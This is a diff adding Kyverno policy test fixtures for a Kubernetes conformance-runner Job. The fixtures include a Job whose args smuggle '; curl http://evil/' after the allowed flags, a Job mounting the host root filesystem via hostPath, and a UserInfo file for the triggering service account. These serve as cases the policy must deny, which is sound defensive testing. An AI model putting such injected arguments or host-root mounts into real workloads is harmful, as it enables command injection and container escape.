+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}
+        - name: hostroot
+          hostPath:
+            path: /
+---
+# Injected args beyond the committed flags. Must be DENIED.
+apiVersion: batch/v1
+kind: Job
+metadata:
+  name: injected-args
+  namespace: conformance
+spec:
+  template:
+    spec:
+      serviceAccountName: conformance-runner
+      containers:
+        - name: runner
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
+          command: ["./run.sh"]
+          args: ["--layer", "l2", ";", "curl", "http://evil/"]
+          securityContext:
+            runAsNonRoot: true
+            allowPrivilegeEscalation: false
+      volumes:
+        - name: workspace
+          emptyDir: {}

platform/kyverno/tests/conformance-trigger/user-info.yaml

@@ -0,0 +1,12 @@
+# The requesting identity the policy keys on. Without this the `subjects` match never fires and
+# every case below would trivially "pass" — proving nothing.
+apiVersion: cli.kyverno.io/v1alpha1
+kind: UserInfo
+metadata:
+  name: conformance-trigger
+userInfo:
+  username: system:serviceaccount:conformance:conformance-trigger
+  groups:
+    - system:serviceaccounts
+    - system:serviceaccounts:conformance
+    - system:authenticated